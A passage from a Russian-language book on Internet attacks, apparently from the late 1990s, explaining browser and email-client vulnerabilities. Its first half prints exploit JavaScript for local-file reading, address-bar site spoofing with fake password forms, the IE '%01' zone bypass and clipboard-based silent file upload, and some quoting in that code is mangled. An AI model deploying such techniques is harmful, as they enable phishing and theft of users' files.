Илья Медведовский - Атака на Internet
<SCRIPT>
sl=window.open("wysiwyg://1/file:///C|/");
sl2=sl.window.open();
sl2.location=
"javascript:s=’<SCRIPT>b="Here is the beginning of your file: ";"+
"var f = new java.io.File("C:\\\\test.txt");"+
"var fis = new java.io.FileInputStream(f);"+
"i=0; while ( ((a=fis.read()) != -1) && (i<100) )"+
"{ b += String.fromCharCode(a);i++;}alert(b);</’+’SCRIPT>’";
</SCRIPT>Следующий код демонстрирует технику подделки сайтов: строка адреса указывает на www.yahoo.com, в окне же находится любой текст, который вы вывели с помощью JavaScript, например форма с вводом пароля и т. п.
<SCRIPT>
function doit()
{
a.document.open();
a.document.write("Любой html-код");
a.document.close();
}
function winopen()
{
//Можно также использовать
//a=window.open("view-source:javascript:location=’wysiwyg://1/http://www.yahoo.com’;");
a=window.open("view-source:javascript:location=’http://www.yahoo.com’;");
setTimeout("doit()",300);
}
</SCRIPT>
<BR>
<A HREF="javascript:void(0)" onclick="winopen()"
onMouseOver="window.status=’http://www.yahoo.com’;return true">
Follow this link to go to www.yahoo.com (or somewhere else)
</A>Среди ошибок, характерных для Internet Explorer, помимо традиционных проблем с JavaScript, приводящих все к тому же слежению за пользователем и передаче файлов через формы, можно выделить ошибки, использующие тесную интеграцию Internet Explorer с другими системными объектами и обходящие защиту, основанную на зонах безопасности. При этом активно используются объекты ActiveX.
Так, например, добавление %01someURL' к какому-то другому адресу заставляет Internet Explorer считать, что документ загружен из домена, которому принадлежит someURL. Этот пробел в безопасности может использоваться и для считывания локальных файлов с диска пользователя, и для подделки сайтов.
Следующий код заставляет Internet Explorer считать, что объект TDC создается из файла на жестком диске, и дает ему возможность работать с локальными файлами. Дальнейшее развитие этой идеи вполне может привести к созданию полноценного html-вируса, размножающегося при загрузке из Сети, а не только из локального файла, как это было с вирусом HTML.Internal:<SCRIPT>
s="about:<SCRIPT>a=window.open(’view-source:x’);a.document.open();"+
"a.document.write("<object id=’myTDC’ width=100 height=100"+
"classid="CLSID:333C7BC4-460F-11D0-BC04-0080C7055A83'>"+
"<param name=’DataURL’ value=’c:/test.txt’>"+
"<param name=’UseHeader’ value=False>"+
"<param name=’CharSet’ VALUE=’iso-8859-1'>"
"<param name=’FieldDelim’ value=’}’>"+
"<param name=’RowDelim’ value=’}’>"+
"<param name=’TextQualifier’ value=’}’>"
"</object><form><textarea datasrc=’#myTDC’ datafld=’Column1' rows=10 cols=80>"+
"</textarea></form>");a.document.write"+
"('<SCRIPT>setTimeout("alert(document.forms[0].elements[0].value)",4000)</SCRIPT’);"+
"a.document.write(’>’);a.document.close();close();</"+
"SCRIPT>%01file://c:/";
b=showModalDialog(s);
</SCRIPT>Использование этой же ошибки в целях подделки сайтов демонстрирует следующий код:
<SCRIPT>
b=showModalDialog(
"about:<SCRIPT>a=window.open(’http://www.yahoo.com’);"
+"a.document.write(’<HTML><HEAD><TITLE>Yahoo</TITLE><BODY></HEAD>Любойhtml-код’); close()</"
+"SCRIPT>%01http://www.yahoo.com");
</SCRIPT>В ряде ошибок, обнаруженных J. C. G. Cuartango, встречаются различные модификации идеи применять буфер обмена Windows для передачи информации о компьютере клиента. Самый первый вариант скрипта выглядел так:
functiongetfile()
{
document.forms[1].T1.select();
document.execCommand("copy");
document.forms[0].filename.select();
document.execCommand("paste");
document.forms[0].submit();
}Подразумевается, что в документе присутствует форма со скрытым полем T1 и полем filename, предназначенным для передачи файла на сервер. В нормальной ситуации имя файла может быть задано только пользователем, здесь же демонстрируется возможность копирования содержимого поля T1 в буфер обмена с последующей его вставкой в filename и автоматическим отправлением формы. В другом варианте скрипта использовался объект selection, в более поздних – объекты ActiveX Microsoft Forms 2.0 TextBox и Microsoft Web Browser.
Оба браузера очень слабо защищены от всевозможных вариаций на тему бесконечных циклов, рекурсий и т. п., поглощающих ресурсы системы и приводящих к зависанию либо аварийному завершению работы браузеров.
Немного поодаль отстоят ошибки Internet Explorer, связанные с переполнением буфера при обработке нестандартных URL большой длины (res:// и mk://). Это открывает возможность передачи в URL кода, который будет выполнен непосредственно на компьютере клиента. Демонстрацию использования этой ошибки в сочетании с обнаруженной незадолго до того ошибкой в Pentium, приводящей к полному «замораживанию» системы, можно увидеть на странице http://www.l0pht.com/advisories/pentium.htm.
Безопасность других клиентских приложений
Говоря о безопасности пользователя при работе с Internet, было бы не совсем корректно ограничиться одними браузерами. Во-первых, некоторые программы (почтовые клиенты, html-редакторы и т. п.) интенсивно используют возможности браузеров для отображения html. Популярные почтовые клиенты давно уже позволяют работать с письмами в html-формате и не ждать, когда потенциальная жертва зайдет на страницу с опасным кодом, а доставить его непосредственно по месту назначения. При этом, правда, можно использовать зоны безопасности для отключения возможности исполнения JavaScript и прочих активных элементов из этих файлов либо вообще запретить JavaScript (единственный вариант, хотя и не совсем приемлемый для пользователей NetscapeNavigator). С аналогичными проблемами сталкиваются пользователи почтовых программ, не умеющих самостоятельно читать html-сообщения и вызывающих с этой целью браузер, который считает эти файлы локальными и не особо препятствует им в их черном деле.
До недавнего времени «почтовые вирусы» занимали почетное место в Internet-мифологии. Сообщения типа «Письмо с пометкой Good Times содержит вирус, который мгновенно заразит ваш компьютер при попытке прочтения! Сообщите об этом всем своим знакомым» хорошо знакомы многим старожилам Сети, которые прекрасно знают, что роль вируса здесь на самом деле играет само письмо, расходящееся кругами по сотням тысяч адресатов, поглощающее огромное количество сетевого трафика и вынуждающее людей тратить огромное количество времени в поисках защиты от несуществующих проблем.
Однако не так давно ошибки, связанные с переполнением буфера и синхронно обнаруженные в Netscape Mail и Outlook Express, сделали былью и эту сказку. Методы проникновения несколько различаются, но идея в обоих случаях одна – использование присоединенных файлов. Причем проблема не в самом файле (это может быть любой – exe, txt, gif и пр.), а в тэгах, его описывающих. Другими словами, чтобы быть атакованным, даже не надо открывать этот файл – достаточно прочитать письмо.
Тесная интеграция с офисными приложениями в сочетании с обнаруженными в них ошибками сделала реальными и другие сценарии. Например, уже сейчас вы можете получить письмо в html-формате, которое будет содержать код на JavaScript, открывающий некоторую страницу в Internet. На той странице будет лежать документ в формате Word 97, который при наличии этой программы на вашем компьютере немедленно начнет работу. Далее Word загрузит присоединенный к этому документу шаблон с макросом, автоматически выполняющимся при открытии документа, и если у вас не установлена последняя заплатка, то макрос запустится без единого вопроса. А макросы, написанные на Visual Basic for Applications, – это вполне полноценные программы, имеющие доступ ко всем ресурсам вашего компьютера. Впрочем, это не повод доверять подобным письмам, не содержащим ни малейшей информации о том, какая именно ошибка и в каком почтовом клиенте может привести к таким катастрофическим последствиям.
Остальные клиентские приложения распространены в гораздо меньшей степени, чем браузеры и почтовые клиенты, и ошибки, в них обнаруживаемые, затрагивают гораздо меньшие слои пользователей. Наибольшие проблемы среди них создают всевозможные программы для интерактивного общения – так называемые chats (чаты), Internet-телефоны, средства передачи сообщений и т. п. Многие из них не слишком заботятся о безопасности пользователя, позволяя получить большое количество информации о его системе, начиная от IP-адреса и самого факта его нахождения в сети, а заканчивая временем суток и типом операционной системы, что существенно упрощает задачу целенаправленной атаки. Кроме того, большинство программ использует не слишком надежные протоколы передачи информации (притчей во языцех стало количество «дырок» в ICQ), средства автоматизации работы с помощью макроязыков, позволяющие провести атаку, предложив жертве «боевой скрипт». Наконец, они являются едва ли не главным источником распространения всевозможных вирусов и «троянцев» – ну как не запустить программу с поздравительной открыткой, присланную новым знакомым по чату!Вирусы и «троянские» кони
Говоря о безопасности в современной сети, нельзя не упомянуть ставшую довольно острой в последнее время проблему компьютерных вирусов и «троянских» коней. И те, и другие – всего лишь программы, обладающие некоторыми специфическими свойствами. «Троянский» конь, или «троянец», – это общее название для любых программ, выполняющих некоторые посторонние, как правило, нежелательные для пользователя функции. Вирусы часто путают с «троянцами», граница тут действительно тонкая: но если под определение «троянца» подходит даже команда format c:, набранная по совету старшего товарища неопытным пользователем, то главная отличительная черта вирусов – способность размножаться, то есть воспроизводить свой код. В качестве носителя вируса могут выступать исполняемые файлы, загрузочные секторы дисков, документы программ, способных исполнять макрокоманды, и т. п. – практически любые объекты, выполняющие запрограммированную последовательность действий. О вирусах и «троянцах» можно говорить довольно долго, но нас сейчас они интересуют с точки зрения взаимодействия с Internet.